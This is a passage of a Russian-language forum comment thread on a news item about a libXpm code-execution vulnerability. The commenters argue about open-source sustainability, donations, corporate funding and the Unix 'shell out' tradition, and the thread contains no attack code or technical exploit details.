	60. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
	Сообщение от Аноним (3), 21-Янв-23, 21:10
	Юникс вэй. Утилита > утилита > утилита.
	Ответить | Правка | Наверх | Cообщить модератору

	72. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (70), 21-Янв-23, 22:47
	Утилита > утилита > утилита > You're pwned
	Ответить | Правка | Наверх | Cообщить модератору

61. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
Сообщение от Аноним (-), 21-Янв-23, 22:11
Блеск и нищета опенсорса. Врачи пишут планировщики задач, студни и всякие бoмжы пишут свои утилитки "лишь бы работало", потом приходят другие и лепят на основе этих поделок что-то свое, потом это слепливают в большой дурнопахнущий ком и выкладывают в прод. А потом оказывается что пол инета зависит от стремной либы, автор которой давно на нее забил, которая никогда не ревьювилась и не обновлялась уже годы... Колосс на глиняных ногах!
Ответить | Правка | Наверх | Cообщить модератору

	62. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (62), 21-Янв-23, 22:17
	Зато в ынтерпрайзе всё не так. Сеньёры молятся на новые версии библиотек и дают по рукам джунам, которые делают свои! :D
	Ответить | Правка | Наверх | Cообщить модератору

	67. "Уязвимость в libXpm, приводящая к выполнению кода"	–2 +/–
	Сообщение от Аноним (-), 21-Янв-23, 22:40
	В ынтерплайзе никто не будет писать либу просто так. По крайней мере в рабочее время. Еще забыл про основной аргумент за опенсорс - бесплатность. Спросишь 'Чем этот фоторедактор лучше чем стандарт индустрии?' - 'Он же бесплатный!' ответят тебе. - 'Но он же кривой, косой и багованый!' - 'Зато бесплатный!' Ох, это сладкое слово халява! Те кто будут писать что проприетарный софт тоже ничего не должен - вы явно не доросли до SLA)))
	Ответить | Правка | Наверх | Cообщить модератору

	69. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (63), 21-Янв-23, 22:42
	Свободный и бесплатный это разные вещи.
	Ответить | Правка | Наверх | Cообщить модератору

	73. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 21-Янв-23, 22:59
	А я и не утверждал, что это одинаковые вещи. Просто настоящих идейных крайне мало, но они хоть вызывают уважение. Но большинство пользователей опенсорца интересует только аспект бесплатности. Они просто качают ибо халява, крайне редко куда-то донатят и еще реже делают вклад написание кода/ревью/тестированием/дизайном. Подавляющему большинству даже лень багрепорты отправлять. И единственный их вклад в развитие опенсорс - рассказать другу 'о, я тут беспланую аппу скачал!'
	Ответить | Правка | Наверх | Cообщить модератору

	74. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (-), 21-Янв-23, 23:09
	Это же все видно. Посмотрите сколько пользователей у того же firefox, и сколько у них было донатов от 'физлиц' И заодно кол-во контрибьюторов в их репы. Или у LibreOffice? Или GIMP? Каждый сотый? Каждый тысячный? Или все еще хуже? Людям как-то объяснили про бесплатность опенсорса, а про то что за свободу нужно платить - нет. В итоге развивается только во что вложились корпорации. А пользователи ноют 'праклятые карпарасты испортили мой опенсорс' Да он никогда их и не был!
	Ответить | Правка | К родителю #69 | Наверх | Cообщить модератору

	86. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Бывалый смузихлёб (?), 22-Янв-23, 05:26
	> за свободу нужно платить - нет Свобода, за которую надо платить - это платная временная вольная от хозяина По корпорациям и прочему - почему-то тот же опенсорс и его адептов вовсе не смущает, что абсолютное большинство на его благо трудится за доброе слово даже без прав на собственный код( а то и за пинок под жО за несоблюдение кок’ов ) Что вовсе не мешает руководству тех структур за счёт добровольных пожертвований платить самим себе зарплату и почти непрерывно кататься по всему миру и закатывать балы-пиры разумеется в рамках популяризации попенсорса вместо денежной поддержки участников. Даже не зарплатных а хотя бы уровня выплаты за годную фичу. Даже полтишок - мелочь, а приятно. В общем, уверен ли анон-знаток-всего-на-свете, что донаты идут именно на работу над продуктом и что за всю работу над проектом сама контора платит конечным разработчикам ? Ну, чтобы иметь хоть какое-то минимальное право требовать денег за фичи
	Ответить | Правка | Наверх | Cообщить модератору

	90. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 22-Янв-23, 09:16
	> абсолютное большинство на его благо трудится за доброе слово А потому что это не правда. 'The number of unpaid developers may be stabilizing, with these developers contributing 8.2% of contributions' Источник: Annual Kernel Development Report 2017. Это при том что в 2014 было 11.8%. А после ковида думаю их стало еще меньше, но цифры искать лень. Т.е. абсолютное большинство трудится за хрустящую бумажку корпораций, а не за доброе слово. И делать они будут то что им скажет корпоративный менеджер (за редким исключением супер крутых и распиаренных чуваков) Более того, если глянуть другие отчеты, то там тоже куча всего интересного. Напр. из '2022 Linux Foundation Annual Report' секция MENTORSHIP - 70% чуваков из Индии - 62% чуваков с не законченным колледжом и 23% с законченным - High school или master degree есть только у 7.6% и 4.1% соответственно - 52.9% это lower middle class (которые скорее всего надеятся найти работу в каком-то intel/ibm/redhat...) В это будущее линукса)))
	Ответить | Правка | Наверх | Cообщить модератору

	91. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 22-Янв-23, 09:28
	> платить самим себе зарплату А потому что они копируют корпоративную структуру от которой и получают деньги. Поэтому и какая-то глава мозилы выплачивала себе миллионы баксов, прям как в фирмах выплачивают золотые парашюты. Но нас вроде это парить не должно, это ж практические все деньги гугла? > донаты идут именно на работу над продуктом и что за всю работу над проектом сама контора платит конечным разработчикам Разумеется я этого не могу гарантировать. Более того, сейчас, думаю, они будут просыраться на банкеты и всякое дайверсити. Просто обычные пользователи уже проиграли. Опенсорс нашел свой путь развития в видеслияния с корпами и будет отрабатывать их хотелки. А пользователи могут только ныть на форумах про очередной системД, никак не влияя на направление развития продукта.
	Ответить | Правка | К родителю #86 | Наверх | Cообщить модератору

	93. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (92), 22-Янв-23, 09:50
	Раньше на сайте Криты писалась сумма пожертвований. Потом вроде убрали, чтобы не позориться.
	Ответить | Правка | К родителю #74 | Наверх | Cообщить модератору

	76. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (3), 21-Янв-23, 23:35
	> никто не будет писать либу просто так дык за деньги же в отечественном ынтерпрайзе токо и делают, что используют бесплатные либы. а кто считает, что это не так, тот явно не дорос
	Ответить | Правка | К родителю #67 | Наверх | Cообщить модератору

	78. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
	Сообщение от Аноним (78), 21-Янв-23, 23:46
	>В ынтерплайзе никто не будет писать либу просто так АХАХАХАХА
	Ответить | Правка | К родителю #67 | Наверх | Cообщить модератору

	83. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 22-Янв-23, 00:41
	> Те кто будут писать что проприетарный софт тоже ничего не должен - > вы явно не доросли до SLA))) Однако в лицензиях проприетарного софта почему-то написано про AS IS. Да, некоторые еще и читают это.
	Ответить | Правка | К родителю #67 | Наверх | Cообщить модератору

	84. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (1), 22-Янв-23, 00:50
	> В ынтерплайзе никто не будет писать либу просто так То-то у "ынтерплайза" сейчас версионная диарея.
	Ответить | Правка | К родителю #67 | Наверх | Cообщить модератору

	87. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Бывалый смузихлёб (?), 22-Янв-23, 05:31
	> В ынтерплайзе никто не будет писать либу просто так. > По крайней мере в рабочее время. Ну почему же, вполне будет. Только если это не согласовано с конторой, либо будут разборки о том кому код принадлежит, либо - сколько штрафа должен заплатить сотрудник за неисполнение обязанностей( т.е что на работе занимался не работой а черти чем, но зарплату ему платили будто бы он работал )
	Ответить | Правка | К родителю #67 | Наверх | Cообщить модератору

	102. "Уязвимость в libXpm, приводящая к выполнению кода"	+2 +/–
	Сообщение от хрю (?), 22-Янв-23, 14:23
	>>В ынтерплайзе никто не будет писать либу просто так. :D :D :D :D :D Не реально смешно. Чел никогда не видел ынтерплайза? Зачастую, он чуть меньше чем полностью состоит из 7 колёсных велосипедов.
	Ответить | Правка | К родителю #67 | Наверх | Cообщить модератору

	85. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (34), 22-Янв-23, 01:42
	> Врачи пишут планировщики задач, студни и всякие бoмжы пишут свои утилитки "лишь бы работало", потом приходят другие и лепят на основе этих поделок что-то свое, потом это слепливают в большой дурнопахнущий ком и выкладывают в прод. Святая наивность, ты никогда не видел коммерческой разработки изнутри.
	Ответить | Правка | К родителю #61 | Наверх | Cообщить модератору

	98. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (96), 22-Янв-23, 12:01
	https://xkcd.com/2347/
	Ответить | Правка | К родителю #61 | Наверх | Cообщить модератору

88. "Уязвимость в libXpm, приводящая к выполнению кода"	–1 +/–
Сообщение от Alex (??), 22-Янв-23, 06:13
Странно, что не написали сколько лет этой уязвимости....
Ответить | Правка | Наверх | Cообщить модератору

	89. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
	Сообщение от Аноним (-), 22-Янв-23, 08:11
	Или им было стыдно это писать, или все кто знал уже ущли на пенсию.
	Ответить | Правка | Наверх | Cообщить модератору

	104. "Уязвимость в libXpm, приводящая к выполнению кода"	+1 +/–
	Сообщение от Аноним (1), 23-Янв-23, 00:15
	замена системных экзешников на троянов? Да постарше тебя уж.
	Ответить | Правка | К родителю #88 | Наверх | Cообщить модератору

120. "Уязвимость в libXpm, приводящая к выполнению кода"	+/–
Сообщение от Аноним (119), 25-Янв-23, 05:12
Угар, конечно, как в тут папуасы ругают классику программирования под юникс — т.н. shell out. А ведь это неотъемлемая часть «юникс-философии», за которую в комментариях порой убить готовы. Как же так выходит, половина комментаторов TAOUP не читала? Грешновато.
Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема